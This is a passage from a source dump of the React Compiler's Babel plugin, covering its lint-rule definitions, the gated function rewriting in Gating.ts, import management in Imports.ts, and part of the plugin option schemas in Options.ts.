ErrorCategory.EffectSetState: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'set-state-in-effect',\n        description:\n          'Validates against calling setState synchronously in an effect. ' +\n          'This can indicate non-local derived data, a derived event pattern, or ' +\n          'improper external data synchronization.',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.ErrorBoundaries: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'error-boundaries',\n        description:\n          'Validates usage of error boundaries instead of try/catch for errors in child components',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.FBT: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'fbt',\n        description: 'Validates usage of fbt',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.Gating: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'gating',\n        description:\n          'Validates configuration of [gating mode](https://react.dev/reference/react-compiler/gating)',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.Globals: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'globals',\n        description:\n          'Validates against assignment/mutation of globals during render, part of ensuring that ' +\n          '[side effects must render outside of render](https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render)',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.Hooks: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'hooks',\n        description: 'Validates the rules of hooks',\n        /**\n         * TODO: the \"Hooks\" rule largely reimplements the \"rules-of-hooks\" non-compiler rule.\n         * We need to dedeupe these (moving the remaining bits into the compiler) and then enable\n         * this rule.\n         */\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.Immutability: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'immutability',\n        description:\n          'Validates against mutating props, state, and other values that [are immutable](https://react.dev/reference/rules/components-and-hooks-must-be-pure#props-and-state-are-immutable)',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.Invariant: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'invariant',\n        description: 'Internal invariants',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.PreserveManualMemo: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'preserve-manual-memoization',\n        description:\n          'Validates that existing manual memoized is preserved by the compiler. ' +\n          'React Compiler will only compile components and hooks if its inference ' +\n          '[matches or exceeds the existing manual memoization](https://react.dev/learn/react-compiler/introduction#what-should-i-do-about-usememo-usecallback-and-reactmemo)',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.Purity: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'purity',\n        description:\n          'Validates that [components/hooks are pure](https://react.dev/reference/rules/components-and-hooks-must-be-pure) by checking that they do not call known-impure functions',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.Refs: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'refs',\n        description:\n          'Validates correct usage of refs, not reading/writing during render. See the \"pitfalls\" section in [`useRef()` usage](https://react.dev/reference/react/useRef#usage)',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.RenderSetState: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'set-state-in-render',\n        description:\n          'Validates against setting state during render, which can trigger additional renders and potential infinite render loops',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.StaticComponents: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'static-components',\n        description:\n          'Validates that components are static, not recreated every render. Components that are recreated dynamically can reset state and trigger excessive re-rendering',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.Suppression: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'rule-suppression',\n        description: 'Validates against suppression of other rules',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.Syntax: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'syntax',\n        description: 'Validates against invalid syntax',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.Todo: {\n      return {\n        category,\n        severity: ErrorSeverity.Hint,\n        name: 'todo',\n        description: 'Unimplemented features',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.UnsupportedSyntax: {\n      return {\n        category,\n        severity: ErrorSeverity.Warning,\n        name: 'unsupported-syntax',\n        description:\n          'Validates against syntax that we do not plan to support in React Compiler',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.UseMemo: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'use-memo',\n        description:\n          'Validates usage of the useMemo() hook against common mistakes. See [`useMemo()` docs](https://react.dev/reference/react/useMemo) for more information.',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.VoidUseMemo: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'void-use-memo',\n        description:\n          'Validates that useMemos always return a value and that the result of the useMemo is used by the component/hook. See [`useMemo()` docs](https://react.dev/reference/react/useMemo) for more information.',\n        preset: LintRulePreset.RecommendedLatest,\n      };\n    }\n    case ErrorCategory.MemoDependencies: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'memo-dependencies',\n        description:\n          'Validates that useMemo() and useCallback() specify comprehensive dependencies without extraneous values. See [`useMemo()` docs](https://react.dev/reference/react/useMemo) for more information.',\n        /**\n         * TODO: the \"MemoDependencies\" rule largely reimplements the \"exhaustive-deps\" non-compiler rule,\n         * allowing the compiler to ensure it does not regress change behavior due to different dependencies.\n         * We previously relied on the source having ESLint suppressions for any exhaustive-deps violations,\n         * but it's more reliable to verify it within the compiler.\n         *\n         * Long-term we should de-duplicate these implementations.\n         */\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.IncompatibleLibrary: {\n      return {\n        category,\n        severity: ErrorSeverity.Warning,\n        name: 'incompatible-library',\n        description:\n          'Validates against usage of libraries which are incompatible with memoization (manual or automatic)',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    default: {\n      assertExhaustive(category, `Unsupported category ${category}`);\n    }\n  }\n}\n\nexport const LintRules: Array<LintRule> = Object.keys(ErrorCategory).map(\n  category => getRuleForCategory(category as any),\n);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Gating.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/core';\nimport * as t from '@babel/types';\nimport {CompilerError} from '../CompilerError';\nimport {GeneratedSource} from '../HIR';\nimport {ProgramContext} from './Imports';\nimport {ExternalFunction} from '..';\n\n/**\n * Gating rewrite for function declarations which are referenced before their\n * declaration site.\n *\n * ```js\n * // original\n * export default React.memo(Foo);\n * function Foo() { ... }\n *\n * // React compiler optimized + gated\n * import {gating} from 'myGating';\n * export default React.memo(Foo);\n * const gating_result = gating();  <- inserted\n * function Foo_optimized() {}      <- inserted\n * function Foo_unoptimized() {}    <- renamed from Foo\n * function Foo() {                 <- inserted function, which can be hoisted by JS engines\n *   if (gating_result) return Foo_optimized();\n *   else return Foo_unoptimized();\n * }\n * ```\n */\nfunction insertAdditionalFunctionDeclaration(\n  fnPath: NodePath<t.FunctionDeclaration>,\n  compiled: t.FunctionDeclaration,\n  programContext: ProgramContext,\n  gatingFunctionIdentifierName: string,\n): void {\n  const originalFnName = fnPath.node.id;\n  const originalFnParams = fnPath.node.params;\n  const compiledParams = fnPath.node.params;\n  /**\n   * Note that other than `export default function() {}`, all other function\n   * declarations must have a binding identifier. Since default exports cannot\n   * be referenced, it's safe to assume that all function declarations passed\n   * here will have an identifier.\n   * https://tc39.es/ecma262/multipage/ecmascript-language-functions-and-classes.html#sec-function-definitions\n   */\n  CompilerError.invariant(originalFnName != null && compiled.id != null, {\n    reason:\n      'Expected function declarations that are referenced elsewhere to have a named identifier',\n    loc: fnPath.node.loc ?? GeneratedSource,\n  });\n  CompilerError.invariant(originalFnParams.length === compiledParams.length, {\n    reason:\n      'Expected React Compiler optimized function declarations to have the same number of parameters as source',\n    loc: fnPath.node.loc ?? GeneratedSource,\n  });\n\n  const gatingCondition = t.identifier(\n    programContext.newUid(`${gatingFunctionIdentifierName}_result`),\n  );\n  const unoptimizedFnName = t.identifier(\n    programContext.newUid(`${originalFnName.name}_unoptimized`),\n  );\n  const optimizedFnName = t.identifier(\n    programContext.newUid(`${originalFnName.name}_optimized`),\n  );\n  /**\n   * Step 1: rename existing functions\n   */\n  compiled.id.name = optimizedFnName.name;\n  fnPath.get('id').replaceInline(unoptimizedFnName);\n\n  /**\n   * Step 2: insert new function declaration\n   */\n  const newParams: Array<t.Identifier | t.RestElement> = [];\n  const genNewArgs: Array<() => t.Identifier | t.SpreadElement> = [];\n  for (let i = 0; i < originalFnParams.length; i++) {\n    const argName = `arg${i}`;\n    if (originalFnParams[i].type === 'RestElement') {\n      newParams.push(t.restElement(t.identifier(argName)));\n      genNewArgs.push(() => t.spreadElement(t.identifier(argName)));\n    } else {\n      newParams.push(t.identifier(argName));\n      genNewArgs.push(() => t.identifier(argName));\n    }\n  }\n  // insertAfter called in reverse order of how nodes should appear in program\n  fnPath.insertAfter(\n    t.functionDeclaration(\n      originalFnName,\n      newParams,\n      t.blockStatement([\n        t.ifStatement(\n          gatingCondition,\n          t.returnStatement(\n            t.callExpression(\n              compiled.id,\n              genNewArgs.map(fn => fn()),\n            ),\n          ),\n          t.returnStatement(\n            t.callExpression(\n              unoptimizedFnName,\n              genNewArgs.map(fn => fn()),\n            ),\n          ),\n        ),\n      ]),\n    ),\n  );\n  fnPath.insertBefore(\n    t.variableDeclaration('const', [\n      t.variableDeclarator(\n        gatingCondition,\n        t.callExpression(t.identifier(gatingFunctionIdentifierName), []),\n      ),\n    ]),\n  );\n  fnPath.insertBefore(compiled);\n}\nexport function insertGatedFunctionDeclaration(\n  fnPath: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n  compiled:\n    | t.FunctionDeclaration\n    | t.ArrowFunctionExpression\n    | t.FunctionExpression,\n  programContext: ProgramContext,\n  gating: ExternalFunction,\n  referencedBeforeDeclaration: boolean,\n): void {\n  const gatingImportedName = programContext.addImportSpecifier(gating).name;\n  if (referencedBeforeDeclaration && fnPath.isFunctionDeclaration()) {\n    CompilerError.invariant(compiled.type === 'FunctionDeclaration', {\n      reason: 'Expected compiled node type to match input type',\n      description: `Got ${compiled.type} but expected FunctionDeclaration`,\n      loc: fnPath.node.loc ?? GeneratedSource,\n    });\n    insertAdditionalFunctionDeclaration(\n      fnPath,\n      compiled,\n      programContext,\n      gatingImportedName,\n    );\n  } else {\n    const gatingExpression = t.conditionalExpression(\n      t.callExpression(t.identifier(gatingImportedName), []),\n      buildFunctionExpression(compiled),\n      buildFunctionExpression(fnPath.node),\n    );\n\n    /*\n     * Convert function declarations to named variables *unless* this is an\n     * `export default function ...` since `export default const ...` is\n     * not supported. For that case we fall through to replacing w the raw\n     * conditional expression\n     */\n    if (\n      fnPath.parentPath.node.type !== 'ExportDefaultDeclaration' &&\n      fnPath.node.type === 'FunctionDeclaration' &&\n      fnPath.node.id != null\n    ) {\n      fnPath.replaceWith(\n        t.variableDeclaration('const', [\n          t.variableDeclarator(fnPath.node.id, gatingExpression),\n        ]),\n      );\n    } else if (\n      fnPath.parentPath.node.type === 'ExportDefaultDeclaration' &&\n      fnPath.node.type !== 'ArrowFunctionExpression' &&\n      fnPath.node.id != null\n    ) {\n      fnPath.insertAfter(\n        t.exportDefaultDeclaration(t.identifier(fnPath.node.id.name)),\n      );\n      fnPath.parentPath.replaceWith(\n        t.variableDeclaration('const', [\n          t.variableDeclarator(\n            t.identifier(fnPath.node.id.name),\n            gatingExpression,\n          ),\n        ]),\n      );\n    } else {\n      fnPath.replaceWith(gatingExpression);\n    }\n  }\n}\n\nfunction buildFunctionExpression(\n  node:\n    | t.FunctionDeclaration\n    | t.ArrowFunctionExpression\n    | t.FunctionExpression,\n): t.ArrowFunctionExpression | t.FunctionExpression {\n  if (\n    node.type === 'ArrowFunctionExpression' ||\n    node.type === 'FunctionExpression'\n  ) {\n    return node;\n  } else {\n    const fn: t.FunctionExpression = {\n      type: 'FunctionExpression',\n      async: node.async,\n      generator: node.generator,\n      loc: node.loc ?? null,\n      id: node.id ?? null,\n      params: node.params,\n      body: node.body,\n    };\n    return fn;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Imports.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/core';\nimport * as t from '@babel/types';\nimport {Scope as BabelScope} from '@babel/traverse';\n\nimport {CompilerError, ErrorCategory} from '../CompilerError';\nimport {\n  EnvironmentConfig,\n  GeneratedSource,\n  NonLocalImportSpecifier,\n} from '../HIR';\nimport {getOrInsertWith} from '../Utils/utils';\nimport {ExternalFunction, isHookName} from '../HIR/Environment';\nimport {Err, Ok, Result} from '../Utils/Result';\nimport {LoggerEvent, ParsedPluginOptions} from './Options';\nimport {getReactCompilerRuntimeModule} from './Program';\nimport {SuppressionRange} from './Suppression';\n\nexport function validateRestrictedImports(\n  path: NodePath<t.Program>,\n  {validateBlocklistedImports}: EnvironmentConfig,\n): CompilerError | null {\n  if (\n    validateBlocklistedImports == null ||\n    validateBlocklistedImports.length === 0\n  ) {\n    return null;\n  }\n  const error = new CompilerError();\n  const restrictedImports = new Set(validateBlocklistedImports);\n  path.traverse({\n    ImportDeclaration(importDeclPath) {\n      if (restrictedImports.has(importDeclPath.node.source.value)) {\n        error.push({\n          category: ErrorCategory.Todo,\n          reason: 'Bailing out due to blocklisted import',\n          description: `Import from module ${importDeclPath.node.source.value}`,\n          loc: importDeclPath.node.loc ?? null,\n        });\n      }\n    },\n  });\n  if (error.hasAnyErrors()) {\n    return error;\n  } else {\n    return null;\n  }\n}\n\ntype ProgramContextOptions = {\n  program: NodePath<t.Program>;\n  suppressions: Array<SuppressionRange>;\n  opts: ParsedPluginOptions;\n  filename: string | null;\n  code: string | null;\n  hasModuleScopeOptOut: boolean;\n};\nexport class ProgramContext {\n  /**\n   * Program and environment context\n   */\n  scope: BabelScope;\n  opts: ParsedPluginOptions;\n  filename: string | null;\n  code: string | null;\n  reactRuntimeModule: string;\n  suppressions: Array<SuppressionRange>;\n  hasModuleScopeOptOut: boolean;\n\n  /*\n   * This is a hack to work around what seems to be a Babel bug. Babel doesn't\n   * consistently respect the `skip()` function to avoid revisiting a node within\n   * a pass, so we use this set to track nodes that we have compiled.\n   */\n  alreadyCompiled: WeakSet<object> | Set<object> = new (WeakSet ?? Set)();\n  // known generated or referenced identifiers in the program\n  knownReferencedNames: Set<string> = new Set();\n  // generated imports\n  imports: Map<string, Map<string, NonLocalImportSpecifier>> = new Map();\n\n  constructor({\n    program,\n    suppressions,\n    opts,\n    filename,\n    code,\n    hasModuleScopeOptOut,\n  }: ProgramContextOptions) {\n    this.scope = program.scope;\n    this.opts = opts;\n    this.filename = filename;\n    this.code = code;\n    this.reactRuntimeModule = getReactCompilerRuntimeModule(opts.target);\n    this.suppressions = suppressions;\n    this.hasModuleScopeOptOut = hasModuleScopeOptOut;\n  }\n\n  isHookName(name: string): boolean {\n    return isHookName(name);\n  }\n\n  hasReference(name: string): boolean {\n    return (\n      this.knownReferencedNames.has(name) ||\n      this.scope.hasBinding(name) ||\n      this.scope.hasGlobal(name) ||\n      this.scope.hasReference(name)\n    );\n  }\n\n  newUid(name: string): string {\n    /**\n     * Don't call babel's generateUid for known hook imports, as\n     * InferTypes might eventually type `HookKind` based on callee naming\n     * convention and `_useFoo` is not named as a hook.\n     *\n     * Local uid generation is susceptible to check-before-use bugs since we're\n     * checking for naming conflicts / references long before we actually insert\n     * the import. (see similar logic in HIRBuilder:resolveBinding)\n     */\n    let uid;\n    if (this.isHookName(name)) {\n      uid = name;\n      let i = 0;\n      while (this.hasReference(uid)) {\n        this.knownReferencedNames.add(uid);\n        uid = `${name}_${i++}`;\n      }\n    } else if (!this.hasReference(name)) {\n      uid = name;\n    } else {\n      uid = this.scope.generateUid(name);\n    }\n    this.knownReferencedNames.add(uid);\n    return uid;\n  }\n\n  addMemoCacheImport(): NonLocalImportSpecifier {\n    return this.addImportSpecifier(\n      {\n        source: this.reactRuntimeModule,\n        importSpecifierName: 'c',\n      },\n      '_c',\n    );\n  }\n\n  /**\n   *\n   * @param externalFunction\n   * @param nameHint if defined, will be used as the name of the import specifier\n   * @returns\n   */\n  addImportSpecifier(\n    {source: module, importSpecifierName: specifier}: ExternalFunction,\n    nameHint?: string,\n  ): NonLocalImportSpecifier {\n    const maybeBinding = this.imports.get(module)?.get(specifier);\n    if (maybeBinding != null) {\n      return {...maybeBinding};\n    }\n\n    const binding: NonLocalImportSpecifier = {\n      kind: 'ImportSpecifier',\n      name: this.newUid(nameHint ?? specifier),\n      module,\n      imported: specifier,\n    };\n    getOrInsertWith(this.imports, module, () => new Map()).set(specifier, {\n      ...binding,\n    });\n    return binding;\n  }\n\n  addNewReference(name: string): void {\n    this.knownReferencedNames.add(name);\n  }\n\n  assertGlobalBinding(\n    name: string,\n    localScope?: BabelScope,\n  ): Result<void, CompilerError> {\n    const scope = localScope ?? this.scope;\n    if (!scope.hasReference(name) && !scope.hasBinding(name)) {\n      return Ok(undefined);\n    }\n    const error = new CompilerError();\n    error.push({\n      category: ErrorCategory.Todo,\n      reason: 'Encountered conflicting global in generated program',\n      description: `Conflict from local binding ${name}`,\n      loc: scope.getBinding(name)?.path.node.loc ?? null,\n      suggestions: null,\n    });\n    return Err(error);\n  }\n\n  logEvent(event: LoggerEvent): void {\n    if (this.opts.logger != null) {\n      this.opts.logger.logEvent(this.filename, event);\n    }\n  }\n}\n\nfunction getExistingImports(\n  program: NodePath<t.Program>,\n): Map<string, NodePath<t.ImportDeclaration>> {\n  const existingImports = new Map<string, NodePath<t.ImportDeclaration>>();\n  program.traverse({\n    ImportDeclaration(path) {\n      if (isNonNamespacedImport(path)) {\n        existingImports.set(path.node.source.value, path);\n      }\n    },\n  });\n  return existingImports;\n}\n\nexport function addImportsToProgram(\n  path: NodePath<t.Program>,\n  programContext: ProgramContext,\n): void {\n  const existingImports = getExistingImports(path);\n  const stmts: Array<t.ImportDeclaration | t.VariableDeclaration> = [];\n  const sortedModules = [...programContext.imports.entries()].sort(([a], [b]) =>\n    a.localeCompare(b),\n  );\n  for (const [moduleName, importsMap] of sortedModules) {\n    for (const [specifierName, loweredImport] of importsMap) {\n      /**\n       * Assert that the import identifier hasn't already be declared in the program.\n       * Note: we use getBinding here since `Scope.hasBinding` pessimistically returns true\n       * for all allocated uids (from `Scope.getUid`)\n       */\n      CompilerError.invariant(\n        path.scope.getBinding(loweredImport.name) == null,\n        {\n          reason:\n            'Encountered conflicting import specifiers in generated program',\n          description: `Conflict from import ${loweredImport.module}:(${loweredImport.imported} as ${loweredImport.name})`,\n          loc: GeneratedSource,\n        },\n      );\n      CompilerError.invariant(\n        loweredImport.module === moduleName &&\n          loweredImport.imported === specifierName,\n        {\n          reason:\n            'Found inconsistent import specifier. This is an internal bug.',\n          description: `Expected import ${moduleName}:${specifierName} but found ${loweredImport.module}:${loweredImport.imported}`,\n          loc: GeneratedSource,\n        },\n      );\n    }\n    const sortedImport: Array<NonLocalImportSpecifier> = [\n      ...importsMap.values(),\n    ].sort(({imported: a}, {imported: b}) => a.localeCompare(b));\n    const importSpecifiers = sortedImport.map(specifier => {\n      return t.importSpecifier(\n        t.identifier(specifier.name),\n        t.identifier(specifier.imported),\n      );\n    });\n\n    /**\n     * If an existing import of this module exists (ie `import { ... } from\n     * '<moduleName>'`), inject new imported specifiers into the list of\n     * destructured variables.\n     */\n    const maybeExistingImports = existingImports.get(moduleName);\n    if (maybeExistingImports != null) {\n      maybeExistingImports.pushContainer('specifiers', importSpecifiers);\n    } else {\n      if (path.node.sourceType === 'module') {\n        stmts.push(\n          t.importDeclaration(importSpecifiers, t.stringLiteral(moduleName)),\n        );\n      } else {\n        stmts.push(\n          t.variableDeclaration('const', [\n            t.variableDeclarator(\n              t.objectPattern(\n                sortedImport.map(specifier => {\n                  return t.objectProperty(\n                    t.identifier(specifier.imported),\n                    t.identifier(specifier.name),\n                  );\n                }),\n              ),\n              t.callExpression(t.identifier('require'), [\n                t.stringLiteral(moduleName),\n              ]),\n            ),\n          ]),\n        );\n      }\n    }\n  }\n  path.unshiftContainer('body', stmts);\n}\n\n/*\n * Matches `import { ... } from <moduleName>;`\n * but not `import * as React from <moduleName>;`\n *         `import type { Foo } from <moduleName>;`\n */\nfunction isNonNamespacedImport(\n  importDeclPath: NodePath<t.ImportDeclaration>,\n): boolean {\n  return (\n    importDeclPath\n      .get('specifiers')\n      .every(specifier => specifier.isImportSpecifier()) &&\n    importDeclPath.node.importKind !== 'type' &&\n    importDeclPath.node.importKind !== 'typeof'\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Options.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {z} from 'zod/v4';\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  CompilerErrorDetail,\n  CompilerErrorDetailOptions,\n} from '../CompilerError';\nimport {\n  EnvironmentConfig,\n  ExternalFunction,\n  parseEnvironmentConfig,\n  tryParseExternalFunction,\n} from '../HIR/Environment';\nimport {hasOwnProperty} from '../Utils/utils';\nimport {fromZodError} from 'zod-validation-error/v4';\nimport {CompilerPipelineValue} from './Pipeline';\n\nconst PanicThresholdOptionsSchema = z.enum([\n  /*\n   * Any errors will panic the compiler by throwing an exception, which will\n   * bubble up to the nearest exception handler above the Forget transform.\n   * If Forget is invoked through `BabelPluginReactCompiler`, this will at the least\n   * skip Forget compilation for the rest of current file.\n   */\n  'all_errors',\n  /*\n   * Panic by throwing an exception only on critical or unrecognized errors.\n   * For all other errors, skip the erroring function without inserting\n   * a Forget-compiled version (i.e. same behavior as noEmit).\n   */\n  'critical_errors',\n  // Never panic by throwing an exception.\n  'none',\n]);\n\nexport type PanicThresholdOptions = z.infer<typeof PanicThresholdOptionsSchema>;\nconst DynamicGatingOptionsSchema = z.object({\n  source: z.string(),\n});\nexport type DynamicGatingOptions = z.infer<typeof DynamicGatingOptionsSchema>;\nconst CustomOptOutDirectiveSchema = z\n  .nullable(z.array(z.string()))\n  .default(null);\ntype CustomOptOutDirective = z.infer<typeof CustomOptOutDirectiveSchema>;\n\nexport type PluginOptions = Partial<{\n  environment: Partial<EnvironmentConfig>;\n\n  logger: Logger | null;\n\n  /*\n   * Specifying a `gating` config, makes Forget compile and emit a separate\n   * version of the function gated by importing the `gating.importSpecifierName` from the\n   * specified `gating.source`.\n   *\n   * For example:\n   *   gating: {\n   *     source: 'ReactForgetFeatureFlag',\n   *     importSpecifierName: 'isForgetEnabled_Pokes',\n   *   }\n   *\n   * produces:\n   *   import {isForgetEnabled_Pokes} from 'ReactForgetFeatureFlag';\n   *\n   *   Foo_forget()   {}\n   *\n   *   Foo_uncompiled() {}\n   *\n   *   var Foo = isForgetEnabled_Pokes() ? Foo_forget : Foo_uncompiled;\n   */\n  gating: ExternalFunction | null;\n\n  /**\n   * If specified, this enables dynamic gating which matches `use memo if(...)`\n   * directives.\n   *\n   * Example usage:\n   * ```js\n   * // @dynamicGating:{\"source\":\"myModule\"}\n   * export function MyComponent() {\n   *   'use memo if(isEnabled)';\n   *    return <div>...</div>;\n   * }\n   * ```\n   * This will emit:\n   * ```js\n   * import {isEnabled} from 'myModule';\n   * export const MyComponent = isEnabled()\n   *   ? <optimized version>\n   *   : <original version>;\n   * ```\n   */\n  dynamicGating: DynamicGatingOptions | null;\n\n  panicThreshold: PanicThresholdOptions;\n\n  /**\n   * @deprecated\n   *\n   * When enabled, Forget will continue statically analyzing and linting code, but skip over codegen\n   * passes.\n   *\n   * NOTE: ignored if `outputMode` is specified\n   *\n   * Defaults to false\n   */\n  noEmit: boolean;\n\n  /**\n   * If specified, overrides `noEmit` and controls the output mode of the compiler.\n   *\n   * Defaults to null\n   */\n  outputMode: CompilerOutputMode | null;\n\n  /*\n   * Determines the strategy for determining which functions to compile. Note that regardless of\n   * which mode is enabled, a component can be opted out by adding the string literal\n   * `\"use no forget\"` at the top of the function body, eg.:\n   *\n   * ```\n   * function ComponentYouWantToSkipCompilation(props) {\n   *    \"use no forget\";\n   *    ...\n   * }\n   * ```\n   */\n  compilationMode: CompilationMode;\n\n  /**\n   * By default React Compiler will skip compilation of code that suppresses the default\n   * React ESLint rules, since this is a strong indication that the code may be breaking React rules\n   * in some way.\n   *\n   * Use eslintSuppressionRules to pass a custom set of rule names: any code which suppresses the\n   * provided rules will skip compilation. To disable this feature (never bailout of compilation\n   * even if the default ESLint is suppressed), pass an empty array.\n   */\n  eslintSuppressionRules: Array<string> | null | undefined;\n\n  /**\n   * Whether to report \"suppression\" errors for Flow suppressions. If false, suppression errors\n   * are only emitted for ESLint suppressions\n   */\n  flowSuppressions: boolean;\n\n  /*\n   * Ignore 'use no forget' annotations. Helpful during testing but should not be used in production.\n   */\n  ignoreUseNoForget: boolean;\n\n  /**\n   * Unstable / do not use\n   */\n  customOptOutDirectives: CustomOptOutDirective;\n\n  sources: Array<string> | ((filename: string) => boolean) | null;\n\n  /**\n   * The compiler has customized support for react-native-reanimated, intended as a temporary workaround.\n   * Set this flag (on by default) to automatically check for this library and activate the support.\n   */\n  enableReanimatedCheck: boolean;\n\n  /**\n   * The minimum major version of React that the compiler should emit code for. If the target is 19\n   * or higher, the compiler emits direct imports of React runtime APIs needed by the compiler. On\n   * versions prior to 19, an extra runtime package react-compiler-runtime is necessary to provide\n   * a userspace approximation of runtime APIs.\n   */\n  target: CompilerReactTarget;\n}>;\n\nexport type ParsedPluginOptions = Required<\n  Omit<PluginOptions, 'environment'>\n> & {environment: EnvironmentConfig};\n\nconst CompilerReactTargetSchema = z.union([\n  z.literal('17'),\n  z.literal('18'),\n  z.literal('19'),\n  /**\n   * Used exclusively for Meta apps which are guaranteed to have compatible\n   * react runtime and compiler versions. Note that only the FB-internal bundles\n   * re-export useMemoCache (see\n   * https://github.com/facebook/react/blob/5b0ef217ef32333a8e56f39be04327c89efa346f/packages/react/index.fb.js#L68-L70),\n   * so this option is invalid / creates runtime errors for open-source users.\n   */\n  z.object({\n    kind: z.literal('donotuse_meta_internal'),\n    runtimeModule: z.string().default('react'),\n  }),\n]);\nexport type CompilerReactTarget = z.infer<typeof CompilerReactTargetSchema>;\n\nconst CompilationModeSchema = z.enum([\n  /*\n   * Compiles functions annotated with \"use forget\" or component/hook-like functions.\n   * This latter includes:\n   * * Components declared with component syntax.\n   * * Functions which can be inferred to be a component or hook:\n   *   - Be named like a hook or component. This logic matches the ESLint rule.\n   *   - *and* create JSX and/or call a hook. This is an additional check to help prevent\n   *     false positives, since compilation has a greater impact than linting.\n   * This is the default mode\n   */\n  'infer',\n  // Compile only components using Flow component syntax and hooks using hook syntax.\n  'syntax',\n  // Compile only functions which are explicitly annotated with \"use forget\"\n  'annotation',\n  // Compile all top-level functions\n  'all',\n]);\n\nexport type CompilationMode = z.infer<typeof CompilationModeSchema>;\n\nconst CompilerOutputModeSchema = z.enum([\n  // Build optimized for SSR, with client features removed\n  'ssr',\n  // Build optimized for the client, with auto memoization\n  'client',\n  // Lint mode, the output is unused but validations should run\n  'lint',\n]);\n\nexport type CompilerOutputMode = z.infer<typeof CompilerOutputModeSchema>;\n\n/**\n * Represents 'events' that may occur during compilation. Events are only\n * recorded when a logger is set (through the config).\n * These are the different types of events:\n * CompileError:\n *   Forget skipped compilation of a function / file due to a known todo,\n *   invalid input, or compiler invariant being broken.\n * CompileSuccess:\n *   Forget successfully compiled a function.\n * PipelineError:\n *   Unexpected errors that occurred during compilation (e.g. failures in\n *   babel or other unhandled exceptions).\n */\nexport type LoggerEvent =\n  | CompileSuccessEvent\n  | CompileErrorEvent\n  | CompileDiagnosticEvent\n  | CompileSkipEvent\n  | CompileUnexpectedThrowEvent\n  | PipelineErrorEvent\n  | TimingEvent;\n\nexport type CompileErrorEvent = {\n  kind: 'CompileError';\n  fnLoc: t.SourceLocation | null;\n  detail: CompilerErrorDetail | CompilerDiagnostic;\n};\nexport type CompileDiagnosticEvent = {\n  kind: 'CompileDiagnostic';\n  fnLoc: t.SourceLocation | null;\n  detail: Omit<Omit<CompilerErrorDetailOptions, 'severity'>, 'suggestions'>;\n};\nexport type CompileSuccessEvent = {\n  kind: 'CompileSuccess';\n  fnLoc: t.SourceLocation | null;\n  fnName: string | null;\n  memoSlots: number;\n  memoBlocks: number;\n  memoValues: number;\n  prunedMemoBlocks: number;\n  prunedMemoValues: number;\n};\nexport type CompileSkipEvent = {\n  kind: 'CompileSkip';\n  fnLoc: t.SourceLocation | null;\n  reason: string;\n  loc: t.SourceLocation | null;\n};\nexport type PipelineErrorEvent = {\n  kind: 'PipelineError';\n  fnLoc: t.SourceLocation | null;\n  data: string;\n};\nexport type CompileUnexpectedThrowEvent = {\n  kind: 'CompileUnexpectedThrow';\n  fnLoc: t.SourceLocation | null;\n  data: string;\n};\nexport type TimingEvent = {\n  kind: 'Timing';\n  measurement: PerformanceMeasure;\n};\nexport type Logger = {\n  